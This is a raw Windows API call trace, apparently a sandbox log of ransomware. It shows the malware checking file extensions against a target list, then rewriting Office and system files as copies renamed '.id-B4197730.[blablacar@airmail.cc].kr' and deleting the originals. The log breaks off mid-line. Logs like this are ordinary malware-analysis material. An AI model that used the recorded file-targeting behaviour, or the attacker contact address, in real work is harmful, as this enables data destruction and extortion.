[0176.210] lstrlenW (lpString=".bz2") returned 4 [0176.210] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.210] lstrlenW (lpString=".7z") returned 3 [0176.210] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0176.210] lstrlenW (lpString=".dbf") returned 4 [0176.210] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0176.210] lstrlenW (lpString=".1cd") returned 4 [0176.210] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0176.210] lstrlenW (lpString=".jpg") returned 4 [0176.210] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.210] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.210] lstrlenW (lpString="ko-kr.xml") returned 9 [0176.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0176.210] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=15097) returned 1 [0176.210] CloseHandle (hObject=0x390) returned 1 [0176.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0176.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0176.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0176.211] lstrlenW (lpString=".doc") returned 4 [0176.211] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.211] lstrlenW (lpString=".docx") returned 5 [0176.211] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0176.211] lstrlenW (lpString=".pdf") returned 4 [0176.211] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.211] lstrlenW (lpString=".xls") returned 4 [0176.211] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.211] lstrlenW (lpString=".xlsx") returned 5 [0176.211] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0176.211] lstrlenW (lpString=".ppt") returned 4 [0176.211] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0176.211] lstrlenW (lpString=".zip") returned 4 [0176.211] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.211] lstrlenW (lpString=".rar") returned 4 [0176.211] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.211] lstrlenW (lpString=".bz2") returned 4 [0176.211] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.211] lstrlenW (lpString=".7z") returned 3 [0176.211] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0176.212] lstrlenW (lpString=".dbf") returned 4 [0176.212] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.212] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.213] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.214] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.215] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.216] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.217] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.217] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.218] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.219] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.219] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.220] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.221] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.221] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.222] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.223] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.223] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.224] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0177.877] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=16112) returned 1 [0177.877] CloseHandle (hObject=0x410) returned 1 [0177.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x220 [0177.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0177.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0177.877] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.877] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0177.878] GetLastError () returned 0x0 [0177.878] ReadFile (in: hFile=0x410, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x3ef0, lpOverlapped=0x0) returned 1 [0177.938] WriteFile (in: hFile=0x414, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x3f00, lpOverlapped=0x0) returned 1 [0177.939] ReadFile (in: hFile=0x410, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0177.939] WriteFile (in: hFile=0x414, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0177.939] SetEndOfFile (hFile=0x414) returned 1 [0177.941] CloseHandle (hObject=0x414) returned 1 [0177.942] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.942] SetEndOfFile (hFile=0x410) returned 1 [0177.945] CloseHandle (hObject=0x410) returned 1 [0177.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0177.945] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0177.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0177.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0177.948] lstrlenW (lpString=".doc") returned 4 [0177.948] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.948] lstrlenW (lpString=".docx") returned 5 [0177.948] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0177.948] lstrlenW (lpString=".pdf") returned 4 [0177.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.948] lstrlenW (lpString=".xls") returned 4 [0177.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.948] lstrlenW (lpString=".xlsx") returned 5 [0177.948] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0177.948] lstrlenW (lpString=".ppt") returned 4 [0177.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0177.948] lstrlenW (lpString=".zip") returned 4 [0177.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.948] lstrlenW (lpString=".rar") returned 4 [0177.948] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.948] lstrlenW (lpString=".bz2") returned 4 [0177.948] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.948] lstrlenW (lpString=".7z") returned 3 [0177.948] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0177.948] lstrlenW (lpString=".dbf") returned 4 [0177.948] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0177.948] lstrlenW (lpString=".1cd") returned 4 [0177.948] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0177.948] lstrlenW (lpString=".jpg") returned 4 [0177.948] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0177.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0177.949] lstrlenW (lpString=".doc") returned 4 [0177.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.949] lstrlenW (lpString=".docx") returned 5 [0177.949] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0177.949] lstrlenW (lpString=".pdf") returned 4 [0177.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.949] lstrlenW (lpString=".xls") returned 4 [0177.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.949] lstrlenW (lpString=".xlsx") returned 5 [0177.949] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0177.949] lstrlenW (lpString=".ppt") returned 4 [0177.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0177.949] lstrlenW (lpString=".zip") returned 4 [0177.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.949] lstrlenW (lpString=".rar") returned 4 [0177.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.949] lstrlenW (lpString=".bz2") returned 4 [0177.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.949] lstrlenW (lpString=".7z") returned 3 [0177.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0177.949] lstrlenW (lpString=".dbf") returned 4 [0177.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0177.949] lstrlenW (lpString=".1cd") returned 4 [0177.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0177.949] lstrlenW (lpString=".jpg") returned 4 [0177.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.950] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0177.950] lstrlenW (lpString="BD08808_.WMF") returned 12 [0177.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0177.950] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=47996) returned 1 [0177.950] CloseHandle (hObject=0x410) returned 1 [0177.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x220 [0177.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0177.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0177.959] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.959] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0177.959] GetLastError () returned 0x0 [0177.959] ReadFile (in: hFile=0x410, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0xbb7c, lpOverlapped=0x0) returned 1 [0178.414] WriteFile (in: hFile=0x414, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xbb80, lpOverlapped=0x0) returned 1 [0178.416] ReadFile (in: hFile=0x410, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.416] WriteFile (in: hFile=0x414, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.416] SetEndOfFile (hFile=0x414) returned 1 [0178.817] CloseHandle (hObject=0x414) returned 1 [0178.819] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.819] SetEndOfFile (hFile=0x410) returned 1 [0178.823] CloseHandle (hObject=0x410) returned 1 [0178.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0178.824] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0178.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0178.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0178.824] lstrlenW (lpString=".doc") returned 4 [0178.824] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.824] lstrlenW (lpString=".docx") returned 5 [0178.824] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.824] lstrlenW (lpString=".pdf") returned 4 [0178.824] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.825] lstrlenW (lpString=".xls") returned 4 [0178.825] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.825] lstrlenW (lpString=".xlsx") returned 5 [0178.825] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.825] lstrlenW (lpString=".ppt") returned 4 [0178.825] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0178.825] lstrlenW (lpString=".zip") returned 4 [0178.825] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.825] lstrlenW (lpString=".rar") returned 4 [0178.825] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.825] lstrlenW (lpString=".bz2") returned 4 [0178.825] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.825] lstrlenW (lpString=".7z") returned 3 [0178.825] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0178.825] lstrlenW (lpString=".dbf") returned 4 [0178.825] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0178.825] lstrlenW (lpString=".1cd") returned 4 [0178.825] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0178.825] lstrlenW (lpString=".jpg") returned 4 [0178.825] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0178.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0178.825] lstrlenW (lpString=".doc") returned 4 [0178.825] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.825] lstrlenW (lpString=".docx") returned 5 [0178.825] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.825] lstrlenW (lpString=".pdf") returned 4 [0178.825] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.826] lstrlenW (lpString=".xls") returned 4 [0178.826] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.826] lstrlenW (lpString=".xlsx") returned 5 [0178.826] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.826] lstrlenW (lpString=".ppt") returned 4 [0178.826] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0178.826] lstrlenW (lpString=".zip") returned 4 [0178.826] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.826] lstrlenW (lpString=".rar") returned 4 [0178.826] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.826] lstrlenW (lpString=".bz2") returned 4 [0178.826] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.826] lstrlenW (lpString=".7z") returned 3 [0178.826] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0178.826] lstrlenW (lpString=".dbf") returned 4 [0178.826] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0178.826] lstrlenW (lpString=".1cd") returned 4 [0178.826] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0178.826] lstrlenW (lpString=".jpg") returned 4 [0178.826] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.826] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0178.826] lstrlenW (lpString="BD19695_.WMF") returned 12 [0178.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0178.827] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=12982) returned 1 [0178.827] CloseHandle (hObject=0x410) returned 1 [0178.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x220 [0178.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0178.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0178.828] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.828] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0178.829] GetLastError () returned 0x0 [0178.829] ReadFile (in: hFile=0x410, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x32b6, lpOverlapped=0x0) returned 1 [0178.850] WriteFile (in: hFile=0x414, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x32c0, lpOverlapped=0x0) returned 1 [0178.853] ReadFile (in: hFile=0x410, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.856] WriteFile (in: hFile=0x414, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.856] SetEndOfFile (hFile=0x414) returned 1 [0178.856] CloseHandle (hObject=0x414) returned 1 [0178.858] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.858] SetEndOfFile (hFile=0x410) returned 1 [0178.860] CloseHandle (hObject=0x410) returned 1 [0178.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0178.861] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0178.862] lstrlenW 